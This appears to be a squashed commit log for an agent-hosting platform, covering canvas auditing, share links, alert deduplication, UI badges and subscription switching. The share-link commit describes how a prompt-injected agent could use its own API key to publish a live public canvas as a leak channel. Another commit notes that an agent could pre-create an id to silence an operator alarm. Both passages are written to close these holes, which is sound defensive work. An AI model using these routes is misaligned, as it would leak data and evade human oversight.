`refrozen` block, which is what the ratchet's error message asks for — not absorbed silently into the feature diff. The entry is hand-edited rather than regenerated so #2605's provenance block survives; no other file's ceiling moves (verified: nothing grew, nothing is stale, no un-baselined file carries `raw_nongray`). Related to #553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * fix(canvas): state the bound, audit the Workspace writes, gate Manage on ownership (ent#553) Three review findings, all in the same direction — the backend was right and the user-facing half did not arrive — plus the two smaller ones. 1. **The stated bound now reaches the user.** `canvasLimit` was a `ref(0)` nothing ever assigned, so `canvasHeadroom(n, 0)` returned `{label: null}` and the early warning could not render at any count. The ceiling rides `GET /api/settings/feature-flags` as `canvas_max_per_agent` — the established home for a value the browser needs to render a surface, and where `platform_default_model` / `install_source` already set the precedent for a non-boolean. Not a new route (Invariant #13 would owe three surfaces for one integer) and not an envelope around the canvas list (the MCP tool and the Workspace both read it as a bare array). It is a CONSTANT, not per-agent state, and the client already holds the count. `0` still means "not told" and still renders nothing, so an older backend is unchanged. 2. **The Workspace canvas writes are audited.** The three portal routes recorded nothing while their operator twins have logged since they shipped, and `docs/user-docs/agents/agent-canvas.md` tells users deletion is audited — so the claim was false for exactly the client-facing surface. `_audit_canvas_change` is the shared helper; the actor is `actor_email` (the documented #848 inline-auth path) rather than a fabricated `User`, which is honest because `_require_canvas_manager` is platform-only and owner-or-admin, so a real Trinity user is always behind it. Ids and counts only (G-04). The three routes become `async def` to await it, matching their operator twins, which already call the same sync db functions from an async handler. Pinning is audited too, on BOTH surfaces — the operator route was the one recording nothing. A pin decides which canvas an entire roster sees first, so it is an administrative act on a shared surface, not a per-viewer preference. 3. **`canManage` comes from the parent.** It was hardcoded `true` on the argument that the server decides. It does — but a merely-shared user was then shown Manage → Delete / Pin and got a 403, which is the failing-control problem `can_manage_canvases` exists to prevent on the Workspace. Agent Detail passes `agent.can_share`, the same predicate `ReportsPanel` five lines above already reads and the same one `_gate_human_removal` enforces. The prop defaults FALSE, so a caller that forgets it hides an affordance rather than offering one that refuses. 4. **`get_agent_card` resolves `can_manage_canvases`.** It omitted it, so the same owner read `true` in the sidebar and `false` on the agent's own page — the disagreement #2160's own docstring says that function exists to prevent. 5. **An agent genuinely cannot pin its own canvas now.** The user doc said so; `_gate_human_removal` allowed it (right for delete — an agent tidying up after itself — and wrong for pin), and "no MCP tool exposes it" is a property of the client, not of the route. `_gate_pin` is humans-only, which makes the documented sentence true rather than aspirational. Tests: the audit guard now walks the portal routes as well as `routers.canvas` (it only ever inspected the latter, which is why three unaudited routes passed it), plus pin-audit parity, the humans-only pin gate beside the still-permitted agent self-delete, the feature-flags constant being the same object the refusal is raised from, the agent-card/roster agreement, and four frontend wiring cases. 1025 backend / 2538 frontend tests green. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(canvas): the Workspace audit names the operator, not the platform (ent#553) Found re-reviewing my own audit fix. Adding the rows was right; the attribution was wrong, and a row that lands under the wrong actor is worse than the missing row it replaced — nothing fails, so the wrong answer is believed. `_audit_canvas_change` passed `actor_email` only. But `platform_audit_service._resolve_actor` derives `actor_type` from `actor_user` / `actor_agent_name` / `mcp_scope` / `mcp_key_id` and never from the email, so an email-only call falls through to its last branch: _resolve_actor(None, None, None, None) -> ("system", "trinity-system", None) So every Workspace canvas delete and pin was recorded as `actor_type="system"`, `actor_id="trinity-system"` — a named operator's action attributed to the platform, invisible to any `actor_type=user` query and to the audit UI's per-actor filter. Verified against the real resolver, not by reading the call. The `actor_email`-only path I cited (#848 inline auth) is right where the caller genuinely has no `users` row. That is not this route: `_require_canvas_manager` is platform-only and resolves through `db.can_user_share_agent`, so a row exists by construction. It now resolves that row and passes `actor_user`, producing the same `("user", <id>, <email>)` shape the operator twin has always written — which is the point, since auditing the two surfaces differently buys little more than auditing one of them. Best-effort by construction: the action has already happened, so a lookup that raises or misses must not drop the row. It falls back to the email-only call with a WARNING, since a miss would mean the gate admitted someone the user table does not know. Tests: the regression is pinned against the REAL `_resolve_actor` (both the shape the fix must not return to and the shape it produces now), plus a source guard that the helper resolves a row, passes `actor_user`, keeps the email as a fallback and cannot raise. Removing `actor_user=` reds it. 31 passed on the ent#553 file; 953 across canvas / portal / audit. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RSjVEjay9ztC1oDXXkh9uN * fix(migrations): chain 0060_agent_canvas_shares off the renamed pinned revision ent#553 renamed its revision 0058_agent_canvases_pinned -> 0059 when it absorbed dev's 0058_portal_file_dismissals; this revision still pointed at the old id, so after the merge the directory resolved to two heads and `alembic upgrade head` would have applied nothing. Renumbered to 0060 as well so the numeric prefix stays a unique ordering cue. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * chore(frontend): re-freeze CanvasPanel.vue raw_gray 46 -> 62 for ent#554 The share/PDF controls add gray chrome copied from the panel's existing header; the branch predates the #2605 ratchet, so the guard first bit when dev was merged in. Scoped to this one entry, in its own commit, as the guard's own message prescribes. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(migrations): renumber execution_open_canvas to 0061 behind 0060_agent_canvas_shares Follows the ent#554 renumber so the chain reads 0059 pinned -> 0060 shares -> 0061 open-canvas with unique prefixes and a single head. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * test(canvas): resolve CanvasLimitExceeded from the live method's globals The two cap tests imported the class from `db.canvas` while `_set_cap` already patches the cap through `upsert_canvas.__globals__` — because an earlier test can evict and re-import the module. The same eviction gives the test a different class object than the one the live code raises, and `pytest.raises` then reports the correct refusal as an unexpected exception. Seen once in a full local run after the dev merge (both tests pass in isolation and under CI's three seeds); resolve the class from the same globals the cap comes from. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): keep the selector visible when a search narrows to one match (ent#553 review) `CanvasPanel.vue` gated the chip strip on `visible.length > 1 || manage`, where `visible` is the FILTERED list. Searching down to exactly one canvas hid the strip while the previously selected canvas stayed on screen, and the auto-select watcher — keyed off the unfiltered `props.canvases` — never selected the match. Proven by execution: 7 canvases, query "Topic 3" → strip false, no-match message false. The one canvas the user just searched for was unreachable. Fix: - `canvasSelectorVisible({visible, manage, query})` — with a query, any hit shows the strip; without one, a single canvas is no choice (unchanged). - `canvasAutoSelect(visible, selectedId, query)` — while a query is active the selection follows the matches; no-op with no query or when the current selection already matches. - `CanvasPanel.vue` consumes both: `v-if="selectorVisible"` and a watcher on `[visible, query]`. Tests: - `canvasUtils.spec.js`: the two pure rules. - `canvasPanelSelectorGate.spec.js`: slices the `selectorVisible` computed out of the SFC and RUNS it against the ejection's numbers; pins that the template reads the computed, not a re-derived length test, and that the watcher calls `canvasAutoSelect`. - `test_ent553_canvas_lifecycle.py`: the second review ask — the per-agent cap reaches the wire as a 409 through the real router → service → db chain (only the Redis rate limiter stubbed), names the remedy, and the same PUT against an existing id stays an update. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_015owqMKD5QDjzZrUTF2Joht * fix(canvas): the search box outlives a shrink below the threshold (ent#553 review) `query` has exactly one writer — the search input's `v-model` — and that input was `v-if="showSearch"` with `showSearch = ordered.length > 6`. Seven canvases, type "Topic 3", delete the one match: six canvases, the box unmounts, `visible` still filters on the stale query, the strip collapses, and the panel says *No canvas matches "Topic 3"* with no control left to clear it. Every remaining canvas is unreachable via the chips until navigation. Also reachable with no operator action: the agent's own `clear_canvas` plus a rail refresh while a query is typed. The rule is pure — `canvasSearchVisible(count, threshold, query)` — and keeps the box while a query is active regardless of the count: the typed intent survives the shrink, and the no-match line keeps the one control that clears it. Resetting `query` when the box would flip off was the other option and was rejected: it erases a search the user was mid-way through because a sibling canvas went away. The gate spec that pinned the previous ejection drove `visible`/`query` in isolation from `showSearch`, which is why it could not see this one. It now slices the real `showSearch` computed out of the SFC and RUNS it against the ejection's own numbers (7 → 6 with "Topic 3" typed → box stays; 6 with no query → box gone), and pins that the input is gated on that computed and is the sole writer of `query`. Mutation-checked: reverting the gate to the old length test reds three cases. Four mechanical items from the same review ride along: - requirements/core-agent.md: the ent#438 "deliberately no retention window: bounded by construction" line now says why that reasoning was wrong (rows are bounded per canvas, the count was not) and what bounds it instead; FR-18..FR-22 record delete / bulk / cap / pin / search, which had no requirements entries at all. - raw-color-baseline.json: the `_ent553_note` naming CanvasPanel.vue's 25 → 46 raw_gray was added in 2794388 and dropped by the dev merge aa248f7; re-added so the growth is named in the file. - routers/canvas.py `# mcp:` header now says pin and bulk-delete are unexposed on purpose, and why — Invariant #13's deliberate-vs-forgotten signal. - feature-flows/agent-canvas.md: the two search-state rules and the defect class they close. Verified: vitest 2696 passed (121 files); canvas backend suites 101 passed; raw-colour ratchet and loading-gate ratchet unchanged. Related to Abilityai/trinity-enterprise#553 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01RS8FBA7oEtAAv6GamZKong * fix(canvas): a share link is a grant, so only a human may mint one (ent#554 review) `create_canvas_share`'s docstring said "Owner-or-admin and human-only via `_gate_human_removal`". That gate is not human-only — its own docstring, one screen above, says an agent-scoped key may act on its own agent, which is correct for `clear_canvas` ("an agent tidying up after itself") and wrong for every verb that decides what someone OTHER than the agent may see. So a prompt-injected agent could POST /api/agents/<self>/canvas/<id>/share {"scope": "public"} with the TRINITY_MCP_API_KEY already in its container and publish its own canvas at an unauthenticated URL. Three things make that worse than it first reads: * the share is LIVE, not a snapshot, so one link is a self-updating channel rather than a one-time disclosure; * the agent is the only writer of canvas blocks, so anything it can read it can copy into a canvas and publish; * `audience` is not consulted on the share path, so ent#438's fail-closed "a canvas reaches a client only because the agent said so" would not have applied — the agent would have been choosing for itself. `list_canvas_shares` had the same gate and returns the TOKEN, which is the capability itself; `revoke_canvas_share` too, so an agent could also turn off a person's link. The fix is the grant-vs-use line (Invariant #8): the endpoint that USES a capability may be agent-callable, the one that GRANTS one is human-only. * `_gate_human_only(current_user, name, *, agent_detail)` is factored out of `_gate_pin` — the predicate was always right, only its NAME described one caller. A gate named for a verb ("removal") is one a fourth caller reaches past by accident; a gate named for its rule is not. `_gate_pin` and the new `_gate_share` both delegate to it, with per-caller refusal text because an agent reads that message to decide what to do next. * The three share routes now call `_gate_share`. * The delete routes deliberately KEEP `_gate_human_removal`, and a test guards that boundary in the other direction — the first attempt at this fix swept `clear_canvas` into the human-only gate, because one `str.replace` matched both bodies. That would have broken a real MCP tool for every agent: a security fix breeding the next bug, the /review §4.14 class. Six regression tests; four of them fail against the previous commit (the other two are the over-correction guards, which must pass both ways by design). The 23 tests already here covered scope defaults, expiry, revocation and enumeration, but none used an agent principal on any share route — which is how this shipped. Docs: the user doc now states that sharing is the owner's alone and that the routes refuse an agent's own key, beside the same sentence for pin; the flow doc records the decision, the blast radius, and why the delete routes stay permissive. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ * docs(canvas): record the share routes in the file's own mcp: convention (ent#554 review) The header comment lists which canvas routes are deliberately NOT exposed as MCP tools and why. ent#554 added three that qualify — minting, listing and revoking a share link — and the list did not grow with them. Worth more than a comment here: the ent#553 entry states the rule the share routes then failed to follow ("no tool exposes it" is a property of the client), so a reader consulting this header to decide a fourth route's gate would have found the reasoning but not the precedent. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ * docs(learnings): a gate named after a verb gets reached for by the wrong route (ent#554 review) Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> Co-authored-by: Eugene Vyborov <eugene@ability.ai>
vybe
pushed a commit
that referenced
this pull request
Sep 14, 2026
…L, not one per sync (#2744) (#2777) * docs(skills): the terminal legacy-adoption refusal is bounded by class (#2744) Rule #1: the requirements delta lands before the code. §21.1.3 described adoption as "idempotent and fail-soft" and said nothing about the refusal's ALERTING. `_adopt_legacy_clone` runs as the first statement of every `sync_library()`, so on an install that is past migration but still carries a non-matching `skills_library_url` the terminal refusal files a fresh `priority: "high"`, `expires_at: None` operator-queue item on every sync — unattended under the ent#236 auto-sync loop (300s floor ⇒ 288 rows/day), never expiring, and un-dismissable because each row carries a new timestamped `request_id`. The rule this states: that refusal is the designed resting state of a migrated install, not a failure, so it is `low` + `logger.info` with a stable URL-derived id whose family prefix is reserved; the two genuine failure branches keep `high` and their repeat-visible ids by product decision. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0176XEqK8PTCAK5K6yZURQLv * test(skills): pin the legacy-adoption alert's cadence, severity and echo (#2744) TDD — RED on this commit, green on the next. Proven red for the right reason, not merely red: test_n_syncs_..._exactly_one_item 5 distinct timestamped ids test_a_different_refused_url_... frozen clock ⇒ both URLs share one id test_the_terminal_refusal_is_not_high... priority "high", logger.error test_the_stable_id_is_reserved_... 'skills-legacy-adoption-<ts>' unreserved test_a_pat_bearing_url_is_never_echoed... the PAT is in context.url AND the log test_the_actionable_branches_keep_high... GREEN on base, by design (AC 4) The last one is the anti-regression half: it pins behaviour the fix must NOT change, and goes red only if the low/stable-id treatment is applied to all three call sites instead of the one the issue names. Harness notes, both load-bearing. `_record_adoption_failure` imports `utc_now_iso` INSIDE its body, so the patch target is `utils.helpers` — patching `services.skill_service.utc_now_iso` binds nothing and yields a vacuous test. And `validate_skills_library_url` does a live `socket.getaddrinfo`: on a sandboxed resolver a terminal-branch test would silently drive the validation-reject branch and fail as "5 distinct ids" / "priority is high", reading exactly like the fix regressing — so DNS is stubbed to the `gaierror` that function already tolerates, and every terminal-branch test additionally pins which branch produced its item. New file rather than an append to test_ent346_skills_source_injection.py: Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0176XEqK8PTCAK5K6yZURQLv * fix(skills): the legacy-adoption refusal files one row per URL, not one per sync (#2744) `_adopt_legacy_clone()` is the first statement of every `sync_library()`. On an install that is past migration but still carries a `skills_library_url` matching no configured source, the terminal "already has sources" branch called `_record_adoption_failure`, which minted a TIMESTAMPED `request_id` at `priority: "high"` with `expires_at: None`. One permanent, high-priority, operator-unclearable row per sync, forever — 17 of them (~17% of everything pending) on the reporting install, and 288/day at the ent#236 auto-sync floor. Two behaviour changes, on ONE branch: * a STABLE, URL-keyed id (`skills-legacy-adoption-refused-{sha256(url)[:12]}`) so `create_item`'s `(agent_name, request_id)` ON CONFLICT DO NOTHING collapses N syncs to exactly one row — and, since that conflict target ignores `status`, an operator's dismissal finally sticks; * `priority: "low"` + `logger.info`, because this is the designed resting state of a migrated install, not a failure. Shaped as a keyword-only `steady_state` flag on the existing emitter rather than a second method: one #1677 `_ALLOWED_CALLERS` key, and a `False` default that leaves the two actionable call sites LITERALLY UNCHANGED lines — the strongest available proof of AC 4. The emitter keeps its name despite now serving a non-failure; renaming costs the allowlist key and churns a file two people are editing this week. The hash is over the RAW `url.strip()`, and is computed INSIDE the try: a non-str setting value must degrade to a warning and no alarm, not turn a decorative alarm into a raiser. Normalising the input instead would re-enter `validate_skills_library_url`, which does a live `socket.getaddrinfo` and can raise — a network call and a raise path inside a fail-soft alarm. Two things the stable id makes mandatory, both included: * `skills-legacy-adoption-` joins `_RESERVED_ID_PREFIXES`. An id derived from an admin-visible URL is guessable, so an agent could pre-create it and silence the alarm through the sink's ON CONFLICT (the #1632 C2 class); and `is_platform_minted` reads the same tuple to gate the ent#499 responded write-back and the ent#329 respond→resume dispatch, which this change makes an expected operator action. The FAMILY prefix, so all three call sites and the 17 historical rows classify correctly. * the URL echo is `strip_url_credentials`-scrubbed. The emitter's docstring claimed the credential case was handled, and that was true of `message` and of nothing else: `EmbeddedCredentialError` is a `ValueError` subclass, so the validation-reject branch is exactly the one a PAT-bearing URL reaches, and the raw value landed at ERROR in the Vector-captured log and durably in `operator_queue.context` — SQLite, every backup, rendered in the Operating Room (Invariant #12, Rule #5). The hash still keys on the raw value; scrubbing first would collide two different tokens on one repo. The #1677 justification is corrected in the same commit: "admin-driven sync cadence" is false (ent#236's loop is unattended), and the real bound — the only input is a setting blocked on the generic settings PUT — is co-located as a comment at the emitter, where it is likelier to stay true. Unchanged and deliberately so: the `count_skill_sources() > 0` guard itself, both validators, the grant branch, `expires_at: None`, the `title`/`question` copy, and `context["alert_type"]`. No schema change — `request_id` and its unique index shipped in #1631 — so Invariant #9 is not triggered: no `db/migrations.py` entry and no Alembic revision. Clearing the lingering `skills_library_url` key stays out of scope pending a separate investigation. Tests: tests/unit/test_2744_skills_adoption_alert_idempotency.py Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0176XEqK8PTCAK5K6yZURQLv * docs(operator-queue): record the reserved prefix and the alarm's real bound (#2744) The reservation of `skills-legacy-adoption-` is enumerated in three live places and all three now carry it: `requirements/security.md` §26.7's reserved-id guard, and `operating-room.md`'s two enumerations (the ingestion-guard list and the #1632 ingestion-caps paragraph). `operating-room.md`'s "Platform exemption & emitter budget (#1677)" bundled the skills alarm into a disjunction that includes "operator-driven". That was the same false claim the `_ALLOWED_CALLERS` justification made — ent#236's auto-sync drives `sync_library()` unattended on a 300s-86400s timer, so nothing admin- or operator-driven bounds it. The paragraph now names this emitter's actual bound, per branch: the terminal refusal is idempotent by a URL-keyed id (≤1 row per refused URL) and what makes it platform-only is that its only input is a setting blocked on the generic settings PUT. Plus the two dated rows (`operating-room.md` Revision History, the `feature-flows.md` change log) and the Operating Room catalog row. All three enumerations were ALREADY stale — each omits prefixes the live tuple carries. Ours is added; their pre-existing drift is deliberately not swept here (Rule #2) and is named as a follow-up instead. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0176XEqK8PTCAK5K6yZURQLv * test(skills): pin the steady-state discriminator and sweep the whole item for the PAT (#2744) Two gaps the review found in the new file, both in tests only. `context["reason"] = "already_migrated"` is the discriminator the emitter grew because one `alert_type` and one title now span both `low` (the benign resting state) and `high` (a URL that failed validation — the signature of an attempted injection). Nothing asserted it, so the field the fix added to be read by a machine could be dropped by a later edit in silence. The credential test asserted the PAT is absent from `context["url"]` and from the captured log, but not from `question`. `question` is credential-free only because neither ent#346 validator echoes the URL in its `ValueError` (`validate_skills_library_url` names the hostname or the resolved IP; `reject_embedded_credentials` names neither) — the scrub does not reach it. A validator message that starts echoing the URL would reopen the leak durably in `operator_queue.question` with no guard. Sweeping the serialized item covers every field the emitter writes, not the two that were remembered. Both were verified to bite: dropping the `reason` key fails the first, and reverting `strip_url_credentials` to the raw url fails the second. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0176XEqK8PTCAK5K6yZURQLv * fix(skills): drop the already_migrated context key the owner declined (#2744) `QueueItemDetail.vue` renders every `context` key, so the discriminator the emitter grew would have surfaced to operators as a `reason | already_migrated` row. Put to the product owner as keep / drop / rename; the answer was drop — nothing reads the key today, so removing it is non-breaking. The steady-state branch is now discriminated by `priority: low` plus the `logger.info` level alone. The assertion added in 69274de7 to pin the key goes with it; it lived inside an existing test, so no test is removed. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0176XEqK8PTCAK5K6yZURQLv --------- Co-authored-by: trinity-ability <309458136+trinity-ability@users.noreply.github.com> Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
vybe
added a commit
that referenced
this pull request
Sep 17, 2026
* fix(workspace): the ask badge said 2 and gave you no way to find them (#2424)
The sidebar advertised "2 asks are waiting on your answer" and then stranded
you: the agent that raised them carried no badge, its tooltip did not mention
them, and it could be collapsed out of the roster entirely. The only way to
locate a blocked agent was to open agents one at a time.
Observed on a 12-agent roster with two asks on ws-sage (11th of 12), so on a
fresh load the one row that mattered was behind the "show more" toggle.
Three failures, fixed together because separately each is a half-measure — a
badge with no destination, or a destination nobody can see.
1. The unit. `askCount` is `openAsks.length`, and the tooltip said "agents":
two asks on ONE agent rendered as "2 agents are waiting on your answer". The
number was right, the noun was wrong, and they only diverge when a single
agent raises more than one ask — which is why it went unnoticed. Resolved
toward ASKS rather than agents, because the row badges added here now answer
"which agent", leaving the header to answer "how many decisions".
2. The row. `PortalSidebar.vue:139` renders a per-agent badge from
`unreadByAgent` — unread REPLIES. Keeping asks out of that count is
deliberate and documented at line 9 ("one is waiting on you to decide, the
other on you to read"), and is preserved: the ask gets the *own badge* that
comment promised, in `status-urgent` — the token the operator NavBar's
pending-operator-queue badge already uses, so the two surfaces agree — and
visually distinct from the indigo unread pill beside it. `agentRowTitle` had
the same hole, so this is an accessibility fix too: a blocked agent's
accessible name was the bare "Open ws-sage".
3. The collapse. #2159 capped the roster at five for a good reason (a long
fleet pushed chats below the fold), but the slice is plain roster order with
no ask weighting. Ask-bearing agents are now never hidden — appended, NOT
floated to the top, because re-sorting on a transient count moves rows under
the cursor between refreshes, the same reason the roster is not re-sorted by
availability.
Not a regression: every piece shipped in its intended form; the gap was between
them.
Everything decidable moved into `portalUtils` (`asksByAgent`, `askBadgeTitle`,
`agentRowTitle`, `visibleAgentRows`, `AGENT_COLLAPSE_LIMIT`) because vitest runs
`environment: 'node'` with no mount harness — a rule inside the SFC is one no
test can reach, which is how all three of these shipped. Mutation-checked:
reverting the noun, dropping asks from the title, and restoring the plain slice
each turn the suite red.
`bg-amber-500` -> `bg-status-urgent-500` is required, not drive-by: new code must
be at zero raw palette classes, so the new badge needed a token, and the header
had to match it or the two ask indicators would differ. Amber maps to
`state-autonomous` (an operating mode), which is the wrong claim. PortalSidebar
is now at zero non-gray raw classes.
Two pre-existing guards asserted the moved expressions as source strings and are
rewritten to assert the properties behaviourally — strictly stronger, since they
now fail on a broken bound or a dropped chip title, not only on a reworded one:
- portalRosterRow #2159 "shows a fixed number by default"
- portalAvailabilityChip #2196 "row title carries the state"
Verification: 1518/1518 frontend unit tests, raw-color ratchet exit 0,
production build clean.
Closes #2424
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(workspace): the sync portal turn never carried its session, so report-back could not fire (#2426)
ent#457 gave the Workspace a report-back: an agent that delegates during a chat
turn gets the completion posted into that thread. It could not fire on the
SYNCHRONOUS path, because the parent execution never received the session
binding the report needs. `report_completion` gates on
`if not source_channel_chat_id`, and there the field was NULL.
Measured on a dev instance — 5 of 8 portal rows NULL, split exactly by path:
07:55 -> 09:04 chat=7d27744d... browser, streaming path
09:06 -> 09:09 chat=NULL POST .../chat, synchronous path
TWO CORRECT CHANGES THAT COLLIDE. ent#457 passes the binding down, and
`execute_task` persists it — but only inside `if not execution_id:`. ent#365's
`_precreate_sync_execution` has already created the row and handed the id over,
so that branch never runs, and the pre-create stamped only `source_channel`.
Its own docstring named the invariant it broke: "Mirrors `start_portal_turn`'s
creation exactly ... so the two paths produce indistinguishable rows and a
report published from either can be joined back to its chat."
The sibling comment in `start_portal_turn` says "both creation sites or the
stamp is a coin flip depending on which path made the row" — ent#457 covered the
two sites that existed when it was written; ent#365 had added a third.
Fix: stamp `source_channel_chat_id` + `source_channel_client` in the pre-create.
`session_id` is a REQUIRED parameter, not an optional one — the value is in
scope at the only call site, and a default would let a future caller silently
reintroduce the inert row. Rejected: teaching `execute_task` to UPDATE an
adopted row, which widens a hot path used by every trigger to repair one
caller's omission.
ALSO REPAIRS TWO GUARDS THAT WERE RED ON `dev`. `backend-unit-test` is failing
on dev right now; both failures are in this feature area and both are guards
that had gone inert, so they are fixed here rather than left for the next PR to
trip over. Frontend-only PRs pass because the `changes` job path-filters the
backend suite away, which is why this went unnoticed.
* `test_both_portal_row_creation_sites_name_the_chat` asserted a literal
census of `== 2` sites. It went red the moment the third site appeared —
the guard WORKING — and the bug it names shipped anyway. Now asserts the
rule instead of the count: every site that stamps the surface must also
stamp the destination. Census-proof.
* `test_portal_turn_kwargs_bind_against_execute_task` parsed `portal_chat`
for a literal `run_resumable_turn(...)` call. That call had moved into
`_run_sync_turn_and_clear_marker`, where it is `run_resumable_turn(**kwargs)`
— a splat, which names nothing — so the walk found no keywords and the
guard asserted itself dead. Now reads the keywords where they are actually
named (the wrapper's call site), scanning both entry names and subtracting
the wrapper's own consumed parameters.
Neither rewrite loses coverage; both now fail for the reason their docstring
gives rather than because a number or a call site moved.
WHY THE BUG SURVIVED ITS TESTS. ent#457's mock the engine and assert the kwargs
are passed (they are). ent#365's assert no orphan `running` row (still true).
Nothing asserted the PERSISTED ROW, which is the only place the two meet — the
same lesson `test_ent457_portal_turn_kwargs.py` states about itself. The new
suite asserts at that layer, and adds a derived parity check so a fourth
channel field added to one writer and forgotten in another fails here instead
of shipping as another silently-inert report path.
Verification: 402 passed on the portal/ent457/ent365 selection (was 2 failed
before this branch). Mutation-checked: removing the stamp turns 4 red; feeding
`execute_task` an unknown kwarg turns the repaired binding guard red.
Closes #2426
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(subscriptions): auto-switch ranks alternatives by cached headroom, never by load alone (#2409) (#2422)
## Summary
- `select_best_alternative_subscription` returned the **first** survivor of the 2h failure filter in `agent_count ASC` order and read no headroom — SUB-003 could move an agent onto a subscription at 99% of its weekly window, and an *unused dead-token* subscription (no agents ⇒ no failure rows) sorted **first**.
- Now: **filter in the db, rank in the service, never a probe.** The db lists survivors (kind-blind 2h filter unchanged and first, #444/#2352, `agent_count ASC, name ASC`); the service ranks them over the cached provider snapshot (one `MGET`) furthest-from-the-nearest-wall first (the fuller of the 5h/7d windows — the #792 retry lands on the destination immediately), in 10-point bands so load still spreads a storm; a **fresh** provider refusal is dropped; anything unusable sorts in today's order; any failure of the ranking half falls back to today's pick **with a warning**.
- `classify_headroom` (ent#434) and the ranker share one usability gate (`headroom_reading`) — verdicts byte-identical, pinned by a differential test against a frozen copy. New-agent auto-assign (#74) rides the same ranker. The switch now records **why** (`destination_headroom` + one notification clause).
- Approved deviations from the literal AC, recorded on the issue: nearest-wall key instead of 7d-only; fresh refusals filtered instead of ranked last.
## Changes
- `src/backend/services/subscription_headroom_service.py` — gate, MGET reader, threshold-free ranker, `MAX_READING_AGE_SECONDS` (owned here now); `classify_headroom` becomes policy over the gate
- `src/backend/services/subscription_auto_switch.py` — service-layer selector (`asyncio.to_thread` under the agent lock), `destination_headroom` on activity / notification / result
- `src/backend/services/subscription_service.py` — `select_subscription_for_new_agent`
- `src/backend/db/subscriptions.py` + `database.py` — `list_viable_alternative_subscriptions` / `list_assignable_subscriptions` (filter only); first-match selectors retired
- `src/backend/services/agent_service/crud.py` — call site; `subscription_headroom_alerts.py` — constant re-export + docstring
- Tests: new `tests/unit/test_2409_headroom_ranked_switch.py`; pingpong / 2352 / concurrency / 1484 / 1759 adapted to the list form (assertions kept)
- Docs: `architecture.md`, `subscription-auto-switch.md` (+ management, usage-tracking), requirements §20.4, `learnings.md` (2 entries), CSO diff report
## Test Plan
- [x] New suite: `pytest tests/unit/test_2409_headroom_ranked_switch.py` — 83 passed; **80/81 fail on the unmodified source**
- [x] Full `tests/unit`: 12,718 passed / 30 skipped / 1 pre-existing failure (`test_1920`, private submodule, untouched)
- [x] API integration (`test_subscription_auto_switch`, `test_subscriptions`, `test_subscription_usage`): 36 passed
- [x] Live: a real switch chose the 18%/9% subscription over the 0-agent 88%/60% one; every-survivor-refused → no switch + WARNING; no snapshot → today's order
- [x] `/review` clean (informational findings fixed in-review); `/cso --diff` no findings
- Follow-ups filed while testing: #2419 (parser overage), #2420 (destructive integration suite), #2421 (subscription audit gap)
Fixes #2409
🤖 Generated with [Claude Code](https://claude.com/claude-code)
* feat(workspace): an answer given in the Workspace resumes the agent (ent#430)
Slice 5 of ent#364, and the gate: until now the client route recorded an answer
and returned. The operator route called `spawn_resume_dispatch`; this one did
not. So an ask addressed to a Workspace client — the entire point of
ent#364/#428/#429 — was recorded, reached the agent's queue file in about three
seconds, and re-triggered nothing.
Measured on a live instance before this change: answered from the Workspace,
`operator-queue.json` flipped to `responded` with the answer in under 3s, and no
execution followed.
Unblocked because ent#329 is in dev.
WHAT THIS ADDS: one call. ent#430's body rules out the alternative — "a second
dispatch surface for the same event is how the cost, trigger-label and
loop-prevention questions get answered twice, differently" — so the per-agent
opt-in, the idempotency key, the audit row and the failure handling all stay
inside `maybe_dispatch_resume`. AC #2 and AC #3 are satisfied by REUSE rather
than by re-implementation, and the tests assert the CALL for that reason.
Four properties, each load-bearing:
* Hung off the CAS WIN only, like the operator route. The 409 above already
returned for a lost race, so reaching the dispatch means this answer is the
one that landed — two people answering at once produce one resume.
* `updated`, never `item`. The pre-answer read still says `pending`; a resume
handed that row acts on an ask that does not yet carry its answer. Looks
identical in a green test, which is why there is one for it.
* The spawn is wrapped. It is fire-and-forget, but a raise ON THE CALLING LINE
would still propagate, and a 500 after the CAS landed would tell the client
their answer failed while it is committed and already on its way to the agent.
The answer is the thing that must not be lost.
* #2376's choice validator runs first, so an answer that was never offered
cannot spend.
